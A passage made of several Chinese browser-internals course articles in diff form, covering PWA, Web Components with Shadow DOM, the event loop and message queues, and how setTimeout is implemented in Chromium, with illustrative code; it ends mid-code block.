我们先分析了PWA它是由很多技术组成的一个理念其核心思想是**渐进式**。对于开发者它提供了非常温和的方式让开发者将普通的站点逐步过渡到Web应用。对于技术本身而言它是渐进式演进逐渐将Web技术发挥到极致的同时也逐渐缩小和本地应用的差距。在此基础上我们又分析了PWA中的Service Worker的设计思路。
另外PWA 还提供了 manifest.json 配置文件可以让开发者自定义桌面的图标、显示名称、启动方式等信息还可以设置启动画面、页面主题颜色等信息。关于manifest.json的配置还是比较简单的详细使用教程网上有很多这里我就不做介绍了。
添加桌面标、增加离线缓存、增加消息推送等功能是PWA走向设备的必备功能但我认为真正决定PWA能否崛起的还是底层技术比如页面渲染效率、对系统设备的支持程度、WebAssembly等而这些技术也在渐进式进化过程中。所以未来如何我们拭目以待。
## 思考时间
预测未来最好的方式是理解现在那么今天我留给你的思考题是你觉得PWA能进入移动设备吗
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,183 @@
<audio id="audio" title="28 | WebComponent像搭积木一样构建Web应用" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/fa/de/faaa698ccc8bdc4bd5c5ae95a688dcde.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/144983)中我们从技术演变的角度介绍了PWA这是一套集合了多种技术的理念让浏览器渐进式适应设备端。今天我们要站在开发者和项目角度来聊聊WebComponent同样它也是一套技术的组合能提供给开发者组件化开发的能力。
那什么是组件化呢?
其实组件化并没有一个明确的定义不过这里我们可以使用10个字来形容什么是组件化那就是**对内高内聚,对外低耦合**。对内各个元素彼此紧密结合、相互依赖,对外和其他组件的联系最少且接口简单。
可以说,程序员对组件化开发有着天生的需求,因为一个稍微复杂点的项目,就涉及到多人协作开发的问题,每个人负责的组件需要尽可能独立完成自己的功能,其组件的内部状态不能影响到别人的组件,在需要和其他组件交互的地方得提前协商好接口。通过组件化可以降低整个系统的耦合度,同时也降低程序员之间沟通复杂度,让系统变得更加易于维护。
使用组件化能带来很多优势所以很多语言天生就对组件化提供了很好的支持比如C/C++就可以很好地将功能封装成模块无论是业务逻辑还是基础功能抑或是UI都能很好地将其组合在一起实现组件内部的高度内聚、组件之间的低耦合。
大部分语言都能实现组件化,归根结底在于编程语言特性,大多数语言都有自己的函数级作用域、块级作用域和类,可以将内部的状态数据隐藏在作用域之下或者对象的内部,这样外部就无法访问了,然后通过约定好的接口和外部进行通信。
JavaScript虽然有不少缺点但是作为一门编程语言它也能很好地实现组件化毕竟有自己的函数级作用域和块级作用域所以封装内部状态数据并提供接口给外部都是没有问题的。
既然JavaScript可以很好地实现组件化那么我们所谈论的WebComponent到底又是什么呢
## 阻碍前端组件化的因素
在前端虽然HTML、CSS和JavaScript是强大的开发语言但是在大型项目中维护起来会比较困难如果在页面中嵌入第三方内容时还需要确保第三方的内容样式不会影响到当前内容同样也要确保当前的DOM不会影响到第三方的内容。
所以要聊WebComponent得先看看HTML和CSS是如何阻碍前端组件化的这里我们就通过下面这样一个简单的例子来分析下
```
&lt;style&gt;
p {
background-color: brown;
color: cornsilk
}
&lt;/style&gt;
&lt;p&gt;time.geekbang.org&lt;/p&gt;
```
```
&lt;style&gt;
p {
background-color: red;
color: blue
}
&lt;/style&gt;
&lt;p&gt;time.geekbang&lt;/p&gt;
```
上面这两段代码分别实现了自己p标签的属性如果两个人分别负责开发这两段代码的话那么在测试阶段可能没有什么问题不过当最终项目整合的时候其中内部的CSS属性会影响到其他外部的p标签的之所以会这样是因为CSS是影响全局的。
我们在[《23 | 渲染流水线CSS如何影响首次加载时的白屏时间](https://time.geekbang.org/column/article/140703)这篇文章中分析过渲染引擎会将所有的CSS内容解析为CSSOM在生成布局树的时候会在CSSOM中为布局树中的元素查找样式所以有两个相同标签最终所显示出来的效果是一样的渲染引擎是不能为它们分别单独设置样式的。
除了CSS的全局属性会阻碍组件化DOM也是阻碍组件化的一个因素因为在页面中只有一个DOM任何地方都可以直接读取和修改DOM。所以使用JavaScript来实现组件化是没有问题的但是JavaScript一旦遇上CSS和DOM那么就相当难办了。
## WebComponent组件化开发
现在我们了解了**CSS和DOM是阻碍组件化的两个因素**,那要怎么解决呢?
WebComponent给出了解决思路它提供了对局部视图封装能力可以让DOM、CSSOM和JavaScript运行在局部环境中这样就使得局部的CSS和DOM不会影响到全局。
了解了这些下面我们就结合具体代码来看看WebComponent是怎么实现组件化的。
前面我们说了WebComponent是一套技术的组合具体涉及到了**Custom elements自定义元素、Shadow DOM影子DOM<strong>和**HTML templatesHTML模板</strong>详细内容你可以参考MDN上的[相关链接](https://developer.mozilla.org/zh-CN/docs/Web/Web_Components)。
下面我们就来演示下这3个技术是怎么实现数据封装的如下面代码所示
```
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;body&gt;
&lt;!--
一:定义模板
定义内部CSS样式
定义JavaScript行为
--&gt;
&lt;template id=&quot;geekbang-t&quot;&gt;
&lt;style&gt;
p {
background-color: brown;
color: cornsilk
}
div {
width: 200px;
background-color: bisque;
border: 3px solid chocolate;
border-radius: 10px;
}
&lt;/style&gt;
&lt;div&gt;
&lt;p&gt;time.geekbang.org&lt;/p&gt;
&lt;p&gt;time1.geekbang.org&lt;/p&gt;
&lt;/div&gt;
&lt;script&gt;
function foo() {
console.log('inner log')
}
&lt;/script&gt;
&lt;/template&gt;
&lt;script&gt;
class GeekBang extends HTMLElement {
constructor() {
super()
//获取组件模板
const content = document.querySelector('#geekbang-t').content
//创建影子DOM节点
const shadowDOM = this.attachShadow({ mode: 'open' })
//将模板添加到影子DOM上
shadowDOM.appendChild(content.cloneNode(true))
}
}
customElements.define('geek-bang', GeekBang)
&lt;/script&gt;
&lt;geek-bang&gt;&lt;/geek-bang&gt;
&lt;div&gt;
&lt;p&gt;time.geekbang.org&lt;/p&gt;
&lt;p&gt;time1.geekbang.org&lt;/p&gt;
&lt;/div&gt;
&lt;geek-bang&gt;&lt;/geek-bang&gt;
&lt;/body&gt;
&lt;/html&gt;
```
详细观察上面这段代码我们可以得出要使用WebComponent通常要实现下面三个步骤。
**首先使用template属性来创建模板**。利用DOM可以查找到模板的内容但是模板元素是不会被渲染到页面上的也就是说DOM树中的template节点不会出现在布局树中所以我们可以使用template来自定义一些基础的元素结构这些基础的元素结构是可以被重复使用的。一般模板定义好之后我们还需要在模板的内部定义样式信息。
**其次我们需要创建一个GeekBang的类**。在该类的构造函数中要完成三件事:
1. 查找模板内容;
1. 创建影子DOM
1. 再将模板添加到影子DOM上。
上面最难理解的是影子DOM其实影子DOM的作用是将模板中的内容与全局DOM和CSS进行隔离这样我们就可以实现元素和样式的私有化了。你可以把影子DOM看成是一个作用域其内部的样式和元素是不会影响到全局的样式和元素的而在全局环境下要访问影子DOM内部的样式或者元素也是需要通过约定好的接口的。
总之通过影子DOM我们就实现了CSS和元素的封装在创建好封装影子DOM的类之后我们就可以**使用customElements.define来自定义元素了**(可参考上述代码定义元素的方式)。
**最后就很简单了可以像正常使用HTML元素一样使用该元素**,如上述代码中的`&lt;geek-bang&gt;&lt;/geek-bang&gt;`
上述代码最终渲染出来的页面,如下图所示:
<img src="https://static001.geekbang.org/resource/image/57/7c/579c65e2d2221f4e476c7846b842c27c.png" alt="">
从图中我们可以看出影子DOM内部的样式是不会影响到全局CSSOM的。另外使用DOM接口也是无法直接查询到影子DOM内部元素的比如你可以使用`document.getElementsByTagName('div')`来查找所有div元素这时候你会发现影子DOM内部的元素都是无法查找的因为要想查找影子DOM内部的元素需要专门的接口所以通过这种方式又将影子内部的DOM和外部的DOM进行了隔离。
通过影子DOM可以隔离CSS和DOM不过需要注意一点影子DOM的JavaScript脚本是不会被隔离的比如在影子DOM定义的JavaScript函数依然可以被外部访问这是因为JavaScript语言本身已经可以很好地实现组件化了。
## 浏览器如何实现影子DOM
关于WebComponent的使用方式我们就介绍到这里。WebComponent整体知识点不多内容也不复杂我认为核心就是影子DOM。上面我们介绍影子DOM的作用主要有以下两点
1. 影子DOM中的元素对于整个网页是不可见的
1. 影子DOM的CSS不会影响到整个网页的CSSOM影子DOM内部的CSS只对内部的元素起作用。
那么浏览器是如何实现影子DOM的呢下面我们就来分析下如下图
<img src="https://static001.geekbang.org/resource/image/5b/22/5bce3d00c8139a7fde9cc90f9d803322.png" alt="">
该图是上面那段示例代码对应的DOM结构图从图中可以看出我们使用了两次geek-bang属性那么就会生成两个影子DOM并且每个影子DOM都有一个shadow root的根节点我们可以将要展示的样式或者元素添加到影子DOM的根节点上每个影子DOM你都可以看成是一个独立的DOM它有自己的样式、自己的属性内部样式不会影响到外部样式外部样式也不会影响到内部样式。
浏览器为了实现影子DOM的特性在代码内部做了大量的条件判断比如当通过DOM接口去查找元素时渲染引擎会去判断geek-bang属性下面的shadow-root元素是否是影子DOM如果是影子DOM那么就直接跳过shadow-root元素的查询操作。所以这样通过DOM API就无法直接查询到影子DOM的内部元素了。
另外当生成布局树的时候渲染引擎也会判断geek-bang属性下面的shadow-root元素是否是影子DOM如果是那么在影子DOM内部元素的节点选择CSS样式的时候会直接使用影子DOM内部的CSS属性。所以这样最终渲染出来的效果就是影子DOM内部定义的样式。
## 总结
好了,今天就讲到这里,下面我来总结下本文的主要内容。
首先我们介绍了组件化开发是程序员的刚需所谓组件化就是功能模块要实现高内聚、低耦合的特性。不过由于DOM和CSSOM都是全局的所以它们是影响了前端组件化的主要元素。基于这个原因就出现WebComponent它包含自定义元素、影子DOM和HTML模板三种技术使得开发者可以隔离CSS和DOM。在此基础上我们还重点介绍了影子DOM到底是怎么实现的。
关于WebComponent的未来如何这里我们不好预测和评判但是有一点可以肯定WebComponent也会采用渐进式迭代的方式向前推进未来依然有很多坑需要去填。
## 思考时间
今天留给你的思考题是你是怎么看待WebComponents和前端框架React、Vue之间的关系的
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,237 @@
<audio id="audio" title="15 | 消息队列和事件循环:页面是怎么“活”起来的?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/39/c2/39407fedc5ad363289679a42aa7203c2.mp3"></audio>
前面我们讲到了每个渲染进程都有一个主线程并且主线程非常繁忙既要处理DOM又要计算样式还要处理布局同时还需要处理JavaScript任务以及各种输入事件。要让这么多不同类型的任务在主线程中有条不紊地执行这就需要一个系统来统筹调度这些任务这个统筹调度系统就是我们今天要讲的消息队列和事件循环系统。
在写这篇文章之前,我翻阅了大量的资料,却发现没有一篇文章能把消息循环系统给讲清楚的,所以我决定用一篇文章来专门介绍页面的事件循环系统。事件循环非常底层且非常重要,学会它能让你理解页面到底是如何运行的, 所以在本篇文章中,我们会将页面的事件循环给梳理清楚、讲透彻。
为了能让你更加深刻地理解事件循环机制,我们就从最简单的场景来分析,然后带你一步步了解浏览器页面主线程是如何运作的。
需要说明的是文章中的代码我会采用C++来示范。如果你不熟悉C++也没有关系这里并没有涉及到任何复杂的知识点只要你了解JavaScript或Python你就会看懂。
## 使用单线程处理安排好的任务
我们先从最简单的场景讲起,比如有如下一系列的任务:
- 任务11+2
- 任务220/5
- 任务37*8
- 任务4打印出任务1、任务2、任务3的运算结果
现在要在一个线程中去执行这些任务,通常我们会这样编写代码:
```
void MainThread(){
int num1 = 1+2; //任务1
int num2 = 20/5; //任务2
int num3 = 7*8; //任务3
print(&quot;最终计算的值为:%d,%d,%d&quot;,num1,num2,num3) //任务4
}
```
在上面的执行代码中,我们把所有任务代码按照顺序写进主线程里,等线程执行时,这些任务会按照顺序在线程中依次被执行;等所有任务执行完成之后,线程会自动退出。可以参考下图来直观地理解下其执行过程:
<img src="https://static001.geekbang.org/resource/image/72/bc/72726678ac6604116c1d5dad160780bc.png" alt="">
## 在线程运行过程中处理新任务
但并不是所有的任务都是在执行之前统一安排好的大部分情况下新的任务是在线程运行过程中产生的。比如在线程执行过程中又接收到了一个新的任务要求计算“10+2”那上面那种方式就无法处理这种情况了。
**要想在线程运行过程中,能接收并执行新的任务,就需要采用事件循环机制**。我们可以通过一个for循环语句来监听是否有新的任务如下面的示例代码
```
//GetInput
//等待用户从键盘输入一个数字,并返回该输入的数字
int GetInput(){
int input_number = 0;
cout&lt;&lt;&quot;请输入一个数:&quot;;
cin&gt;&gt;input_number;
return input_number;
}
//主线程(Main Thread)
void MainThread(){
for(;;){
int first_num = GetInput()
int second_num = GetInput()
result_num = first_num + second_num;
print(&quot;最终计算的值为:%d&quot;,result_num)
}
}
```
相较于第一版的线程,这一版的线程做了两点改进。
- **第一点引入了循环机制**,具体实现方式是在线程语句最后添加了一个**for循环语句**,线程会一直循环执行。
- **第二点是引入了事件**,可以在线程运行过程中,等待用户输入的数字,等待过程中线程处于暂停状态,一旦接收到用户输入的信息,那么线程会被激活,然后执行相加运算,最后输出结果。
通过引入事件循环机制,就可以让该线程“活”起来了,我们每次输入两个数字,都会打印出两数字相加的结果,你可以结合下图来参考下这个改进版的线程:
<img src="https://static001.geekbang.org/resource/image/9e/e3/9e0f595324fbd5b7cd1c1ae1140f7de3.png" alt="">
## 处理其他线程发送过来的任务
上面我们改进了线程的执行方式,引入了事件循环机制,可以让其在执行过程中接受新的任务。不过在第二版的线程模型中,所有的任务都是来自于线程内部的,如果另外一个线程想让主线程执行一个任务,利用第二版的线程模型是无法做到的。
那下面我们就来看看其他线程是如何发送消息给渲染主线程的,具体形式你可以参考下图:
<img src="https://static001.geekbang.org/resource/image/2e/05/2eb6a8ecb7cb528da4663573d74eb305.png" alt="">
从上图可以看出渲染主线程会频繁接收到来自于IO线程的一些任务接收到这些任务之后渲染进程就需要着手处理比如接收到资源加载完成的消息后渲染进程就要着手进行DOM解析了接收到鼠标点击的消息后渲染主线程就要开始执行相应的JavaScript脚本来处理该点击事件。
那么如何设计好一个线程模型,能让其能够接收其他线程发送的消息呢?
一个通用模式是使用**消息队列**。在解释如何实现之前,我们先说说什么是消息队列,可以参考下图:
<img src="https://static001.geekbang.org/resource/image/6d/5e/6d141ec0925590d83d97a37cce8e6f5e.png" alt="">
从图中可以看出,**消息队列是一种数据结构,可以存放要执行的任务**。它符合队列“**先进先出**”的特点,也就是说**要添加任务的话,添加到队列的尾部;要取出任务的话,从队列头部去取**。
有了队列之后,我们就可以继续改造线程模型了,改造方案如下图所示:
<img src="https://static001.geekbang.org/resource/image/2a/ab/2ac6bc0361cb4690c5cc83d8abad22ab.png" alt="">
从上图可以看出,我们的改造可以分为下面三个步骤:
1. 添加一个消息队列;
1. IO线程中产生的新任务添加进消息队列尾部
1. 渲染主线程会循环地从消息队列头部中读取任务,执行任务。
有了这些步骤之后,那么接下来我们就可以**按步骤使用代码来实现第三版的线程模型**。
首先,构造一个队列。当然,在本篇文章中我们不需要考虑队列实现的细节,只是构造队列的接口:
```
class TaskQueue{
public:
Task takeTask(); //取出队列头部的一个任务
void pushTask(Task task); //添加一个任务到队列尾部
};
```
接下来,改造主线程,让主线程从队列中读取任务:
```
TaskQueue task_queue
void ProcessTask();
void MainThread(){
for(;;){
Task task = task_queue.takeTask();
ProcessTask(task);
}
}
```
在上面的代码中我们添加了一个消息队列的对象然后在主线程的for循环代码块中从消息队列中读取一个任务然后执行该任务主线程就这样一直循环往下执行因此只要消息队列中有任务主线程就会去执行。
主线程的代码就这样改造完成了。这样改造后,主线程执行的任务都全部从消息队列中获取。所以如果有其他线程想要发送任务让主线程去执行,只需要将任务添加到该消息队列中就可以了,添加任务的代码如下:
```
Task clickTask;
task_queue.pushTask(clickTask)
```
由于是多个线程操作同一个消息队列,所以在添加任务和取出任务时还会加上一个同步锁,这块内容你也要注意下。
## 处理其他进程发送过来的任务
通过使用消息队列我们实现了线程之间的消息通信。在Chrome中跨进程之间的任务也是频繁发生的那么如何处理其他进程发送过来的任务你可以参考下图
<img src="https://static001.geekbang.org/resource/image/e2/c6/e2582e980632fd2df5043f81a11461c6.png" alt="">
从图中可以看出,**渲染进程专门有一个IO线程用来接收其他进程传进来的消息**,接收到消息之后,会将这些消息组装成任务发送给渲染主线程,后续的步骤就和前面讲解的“处理其他线程发送的任务”一样了,这里就不再重复了。
## 消息队列中的任务类型
现在你知道页面主线程是如何接收外部任务的了,那接下来我们再来看看消息队列中的任务类型有哪些。你可以参考下[Chromium的官方源码](https://cs.chromium.org/chromium/src/third_party/blink/public/platform/task_type.h)这里面包含了很多内部消息类型如输入事件鼠标滚动、点击、移动、微任务、文件读写、WebSocket、JavaScript定时器等等。
除此之外消息队列中还包含了很多与页面相关的事件如JavaScript执行、解析DOM、样式计算、布局计算、CSS动画等。
以上这些事件都是在主线程中执行的所以在编写Web应用时你还需要衡量这些事件所占用的时长并想办法解决单个任务占用主线程过久的问题。
## 如何安全退出
当页面主线程执行完成之后又该如何保证页面主线程能够安全退出呢Chrome是这样解决的确定要退出当前页面时页面主线程会设置一个退出标志的变量在每次执行完一个任务时判断是否有设置退出标志。
如果设置了,那么就直接中断当前的所有任务,退出线程,你可以参考下面代码:
```
TaskQueue task_queue
void ProcessTask();
bool keep_running = true;
void MainThread(){
for(;;){
Task task = task_queue.takeTask();
ProcessTask(task);
if(!keep_running) //如果设置了退出标志,那么直接退出线程循环
break;
}
}
```
## 页面使用单线程的缺点
上面讲述的就是页面线程的循环系统是如何工作的,那接下来,我们继续探讨页面线程的一些特征。
通过上面的介绍,你应该清楚了,页面线程所有执行的任务都来自于消息队列。消息队列是“先进先出”的属性,也就是说放入队列中的任务,需要等待前面的任务被执行完,才会被执行。鉴于这个属性,就有如下两个问题需要解决。
**第一个问题是如何处理高优先级的任务。**
比如一个典型的场景是监控DOM节点的变化情况节点的插入、修改、删除等动态变化然后根据这些变化来处理相应的业务逻辑。一个通用的设计的是利用JavaScript设计一套监听接口当变化发生时渲染引擎同步调用这些接口这是一个典型的观察者模式。
不过这个模式有个问题因为DOM变化非常频繁如果每次发生变化的时候都直接调用相应的JavaScript接口那么这个当前的任务执行时间会被拉长从而导致**执行效率的下降**。
如果将这些DOM变化做成异步的消息事件添加到消息队列的尾部那么又会影响到监控的实时性因为在添加到消息队列的过程中可能前面就有很多任务在排队了。
这也就是说如果DOM发生变化采用同步通知的方式会影响当前任务的**执行效率**;如果采用异步方式,又会影响到**监控的实时性**。
那该如何权衡**效率**和**实时性**呢?
针对这种情况,微任务就应用而生了,下面我们来看看微任务是如何权衡效率和实时性的。
通常我们把消息队列中的任务称为**宏任务**,每个宏任务中都包含了一个**微任务队列**在执行宏任务的过程中如果DOM有变化那么就会将该变化添加到微任务列表中这样就不会影响到宏任务的继续执行因此也就解决了执行效率的问题。
等宏任务中的主要功能都直接完成之后这时候渲染引擎并不着急去执行下一个宏任务而是执行当前宏任务中的微任务因为DOM变化的事件都保存在这些微任务队列中这样也就解决了实时性问题。
**第二个是如何解决单个任务执行时长过久的问题。**
因为所有的任务都是在单线程中执行的,所以每次只能执行一个任务,而其他任务就都处于等待状态。如果其中一个任务执行时间过久,那么下一个任务就要等待很长时间。可以参考下图:
<img src="https://static001.geekbang.org/resource/image/8d/cc/8de4b43fca99b180fdffe6a5af07b5cc.png" alt="">
从图中你可以看到如果在执行动画过程中其中有个JavaScript任务因执行时间过久占用了动画单帧的时间这样会给用户制造了卡顿的感觉这当然是极不好的用户体验。针对这种情况JavaScript可以通过回调功能来规避这种问题也就是让要执行的JavaScript任务滞后执行。至于浏览器是如何实现回调功能的我们在后面的章节中再详细介绍。
## 实践:浏览器页面是如何运行的
有了上面的基础知识之后,我们最后来看看浏览器的页面是如何运行的。
你可以打开开发者工具点击“Performance”标签选择左上角的“start porfiling and load page”来记录整个页面加载过程中的事件执行情况如下图所示
<img src="https://static001.geekbang.org/resource/image/c0/1b/c0d59d5b58e387f30cc39ceb4d54f31b.png" alt="">
从图中可以看出我们点击展开了Main这个项目其记录了主线程执行过程中的所有任务。图中灰色的就是一个个任务每个任务下面还有子任务其中的Parse HTML任务是把HTML解析为DOM的任务。值得注意的是在执行Parse HTML的时候如果遇到JavaScript脚本那么会暂停当前的HTML解析而去执行JavaScript脚本。
至于Performance工具在后面的章节中我们还会详细介绍在这里你只需要建立一个直观的印象就可以了。
## 总结
好了,今天就讲到这里,下面我来总结下今天所讲的内容。
- 如果有一些确定好的任务,可以使用一个单线程来按照顺序处理这些任务,这是第一版线程模型。
- 要在线程执行过程中接收并处理新的任务,就需要引入循环语句和事件系统,这是第二版线程模型。
- 如果要接收其他线程发送过来的任务,就需要引入消息队列,这是第三版线程模型。
- 如果其他进程想要发送任务给页面主线程那么先通过IPC把任务发送给渲染进程的IO线程IO线程再把任务发送给页面主线程。
- 消息队列机制并不是太灵活,为了适应效率和实时性,引入了微任务。
基于消息队列的设计是目前使用最广的消息架构无论是安卓还是Chrome都采用了类似的任务机制所以理解了本篇文章的内容后你再理解其他项目的任务机制也会比较轻松。
## 思考时间
今天给你留的思考题是:结合消息队列和事件循环,你认为微任务是什么?引入微任务能带来什么优势呢?
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,265 @@
<audio id="audio" title="16 | WebAPIsetTimeout是如何实现的" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/58/ea/585b20c34207844c01dcb487b2c4e8ea.mp3"></audio>
在[上一篇文章](https://time.geekbang.org/column/article/132931)中我们介绍了页面中的事件和消息队列,知道了**浏览器页面是由消息队列和事件循环系统来驱动的**。
那在接下来的两篇文章中,我会通过**setTimeout**和**XMLHttpRequest**这两个WebAPI来介绍事件循环的应用。这两个WebAPI是两种不同类型的应用比较典型并且在JavaScript中的使用频率非常高。你可能觉得它们太简单、太基础但有时候恰恰是基础简单的东西才最重要了解它们是如何工作的会有助于你写出更加高效的前端代码。
本篇文章主要介绍的是**setTimeout**。其实说起setTimeout方法从事开发的同学想必都不会陌生它就是一个**定时器,用来指定某个函数在多少毫秒之后执行**。它会返回一个整数,表示定时器的编号,同时你还可以通过该编号来取消这个定时器。下面的示例代码就演示了定时器最基础的使用方式:
```
function showName(){
console.log(&quot;极客时间&quot;)
}
var timerID = setTimeout(showName,200);
```
执行上述代码输出的结果也很明显通过setTimeout指定在200毫秒之后调用showName函数并输出“极客时间”四个字。
简单了解了setTimeout的使用方法后那接下来我们就来看看浏览器是如何实现定时器的然后再介绍下定时器在使用过程中的一些注意事项。
## 浏览器怎么实现setTimeout
要了解定时器的工作原理,就得先来回顾下之前讲的事件循环系统,我们知道渲染进程中所有运行在主线程上的任务都需要先添加到消息队列,然后事件循环系统再按照顺序执行消息队列中的任务。下面我们来看看那些典型的事件:
- 当接收到HTML文档数据渲染引擎就会将“解析DOM”事件添加到消息队列中
- 当用户改变了Web页面的窗口大小渲染引擎就会将“重新布局”的事件添加到消息队列中。
- 当触发了JavaScript引擎垃圾回收机制渲染引擎会将“垃圾回收”任务添加到消息队列中。
- 同样如果要执行一段异步JavaScript代码也是需要将执行任务添加到消息队列中。
以上列举的只是一小部分事件,这些事件被添加到消息队列之后,事件循环系统就会按照消息队列中的顺序来执行事件。
所以说要执行一段异步任务,需要先将任务添加到消息队列中。不过通过定时器设置回调函数有点特别,它们需要在指定的时间间隔内被调用,但消息队列中的任务是按照顺序执行的,所以为了保证回调函数能在指定时间内执行,你不能将定时器的回调函数直接添加到消息队列中。
那么该怎么设计才能让定时器设置的回调事件在规定时间内被执行呢?你也可以思考下,如果让你在消息循环系统的基础之上加上定时器的功能,你会如何设计?
在Chrome中除了正常使用的消息队列之外还有另外一个消息队列这个队列中维护了需要延迟执行的任务列表包括了定时器和Chromium内部一些需要延迟执行的任务。所以当通过JavaScript创建一个定时器时渲染进程会将该定时器的回调任务添加到延迟队列中。
如果感兴趣,你可以参考[Chromium中关于队列部分的源码](https://cs.chromium.org/chromium/src/base/task/sequence_manager/task_queue_impl.h)。
源码中延迟执行队列的定义如下所示:
```
DelayedIncomingQueue delayed_incoming_queue;
```
当通过JavaScript调用setTimeout设置回调函数的时候渲染进程将会创建一个回调任务包含了回调函数showName、当前发起时间、延迟执行时间其模拟代码如下所示
```
struct DelayTask{
int64 id
CallBackFunction cbf;
int start_time;
int delay_time;
};
DelayTask timerTask;
timerTask.cbf = showName;
timerTask.start_time = getCurrentTime(); //获取当前时间
timerTask.delay_time = 200;//设置延迟执行时间
```
创建好回调任务之后,再将该任务添加到延迟执行队列中,代码如下所示:
```
delayed_incoming_queue.push(timerTask)
```
现在通过定时器发起的任务就被保存到延迟队列中了,那接下来我们再来看看消息循环系统是怎么触发延迟队列的。
我们可以来完善[上一篇文章](https://time.geekbang.org/column/article/132931)中消息循环的代码,在其中加入执行延迟队列的代码,如下所示:
```
void ProcessTimerTask(){
//从delayed_incoming_queue中取出已经到期的定时器任务
//依次执行这些任务
}
TaskQueue task_queue
void ProcessTask();
bool keep_running = true;
void MainTherad(){
for(;;){
//执行消息队列中的任务
Task task = task_queue.takeTask();
ProcessTask(task);
//执行延迟队列中的任务
ProcessDelayTask()
if(!keep_running) //如果设置了退出标志,那么直接退出线程循环
break;
}
}
```
从上面代码可以看出来,我们添加了一个**ProcessDelayTask函数**该函数是专门用来处理延迟执行任务的。这里我们要重点关注它的执行时机在上段代码中处理完消息队列中的一个任务之后就开始执行ProcessDelayTask函数。ProcessDelayTask函数会根据发起时间和延迟时间计算出到期的任务然后依次执行这些到期的任务。等到期的任务执行完成之后再继续下一个循环过程。通过这样的方式一个完整的定时器就实现了。
设置一个定时器JavaScript引擎会返回一个定时器的ID。那通常情况下当一个定时器的任务还没有被执行的时候也是可以取消的具体方法是调用**clearTimeout函数**并传入需要取消的定时器的ID。如下面代码所示
```
clearTimeout(timer_id)
```
其实浏览器内部实现取消定时器的操作也是非常简单的就是直接从delayed_incoming_queue延迟队列中通过ID查找到对应的任务然后再将其从队列中删除掉就可以了。
## 使用setTimeout的一些注意事项
现在你应该知道在浏览器内部定时器是如何工作的了。不过在使用定时器的过程中,如果你不了解定时器的一些细节,那么很有可能掉进定时器的一些陷阱里。所以接下来,我们就来讲解一下在使用定时器过程中存在的那些陷阱。
### 1. 如果当前任务执行时间过久,会影响定时器任务的执行
在使用setTimeout的时候有很多因素会导致回调函数执行比设定的预期值要久其中一个就是当前任务执行时间过久从而导致定时器设置的任务被延后执行。我们先看下面这段代码
```
function bar() {
console.log('bar')
}
function foo() {
setTimeout(bar, 0);
for (let i = 0; i &lt; 5000; i++) {
let i = 5+8+8+8
console.log(i)
}
}
foo()
```
这段代码中在执行foo函数的时候使用setTimeout设置了一个0延时的回调任务设置好回调任务后foo函数会继续执行5000次for循环。
通过setTimeout设置的回调任务被放入了消息队列中并且等待下一次执行这里并不是立即执行的要执行消息队列中的下个任务需要等待当前的任务执行完成由于当前这段代码要执行5000次的for循环所以当前这个任务的执行时间会比较久一点。这势必会影响到下个任务的执行时间。
你也可以打开Performance来看看其执行过程如下图所示
<img src="https://static001.geekbang.org/resource/image/1a/4f/1adf4da8ca4315cfb565e798649bd74f.png" alt="">
从图中可以看到执行foo函数所消耗的时长是500毫秒这也就意味着通过setTimeout设置的任务会被推迟到500毫秒以后再去执行而设置setTimeout的回调延迟时间是0。
### 2. 如果setTimeout存在嵌套调用那么系统会设置最短时间间隔为4毫秒
也就是说在定时器函数里面嵌套调用定时器,也会延长定时器的执行时间,可以先看下面的这段代码:
```
function cb() { setTimeout(cb, 0); }
setTimeout(cb, 0);
```
上述这段代码你有没有看出存在什么问题?
你还是可以通过Performance来记录下这段代码的执行过程如下图所示
<img src="https://static001.geekbang.org/resource/image/cb/cd/cbb3b2b1ac8eb4752a585df5445412cd.png" alt="">
上图中的竖线就是定时器的函数回调过程从图中可以看出前面五次调用的时间间隔比较小嵌套调用超过五次以上后面每次的调用最小时间间隔是4毫秒。之所以出现这样的情况是因为在Chrome中定时器被嵌套调用5次以上系统会判断该函数方法被阻塞了如果定时器的调用时间间隔小于4毫秒那么浏览器会将每次调用的时间间隔设置为4毫秒。下面是[Chromium实现4毫秒延迟的代码](https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/frame/dom_timer.cc),你可以看下:
```
static const int kMaxTimerNestingLevel = 5;
// Chromium uses a minimum timer interval of 4ms. We'd like to go
// lower; however, there are poorly coded websites out there which do
// create CPU-spinning loops. Using 4ms prevents the CPU from
// spinning too busily and provides a balance between CPU spinning and
// the smallest possible interval timer.
static constexpr base::TimeDelta kMinimumInterval = base::TimeDelta::FromMilliseconds(4);
```
```
base::TimeDelta interval_milliseconds =
std::max(base::TimeDelta::FromMilliseconds(1), interval);
if (interval_milliseconds &lt; kMinimumInterval &amp;&amp;
nesting_level_ &gt;= kMaxTimerNestingLevel)
interval_milliseconds = kMinimumInterval;
if (single_shot)
StartOneShot(interval_milliseconds, FROM_HERE);
else
StartRepeating(interval_milliseconds, FROM_HERE);
```
所以一些实时性较高的需求就不太适合使用setTimeout了比如你用setTimeout来实现JavaScript动画就不是一个很好的主意。
### 3. 未激活的页面setTimeout执行最小间隔是1000毫秒
除了前面的4毫秒延迟还有一个很容易被忽略的地方那就是未被激活的页面中定时器最小值大于1000毫秒也就是说如果标签不是当前的激活标签那么定时器最小的时间间隔是1000毫秒目的是为了优化后台页面的加载损耗以及降低耗电量。这一点你在使用定时器的时候要注意。
### 4. 延时执行时间有最大值
除了要了解定时器的回调函数时间比实际设定值要延后之外还有一点需要注意下那就是Chrome、Safari、Firefox都是以32个bit来存储延时值的32bit最大只能存放的数字是2147483647毫秒这就意味着如果setTimeout设置的延迟值大于 2147483647毫秒大约24.8天时就会溢出那么相当于延时值被设置为0了这导致定时器会被立即执行。你可以运行下面这段代码
```
function showName(){
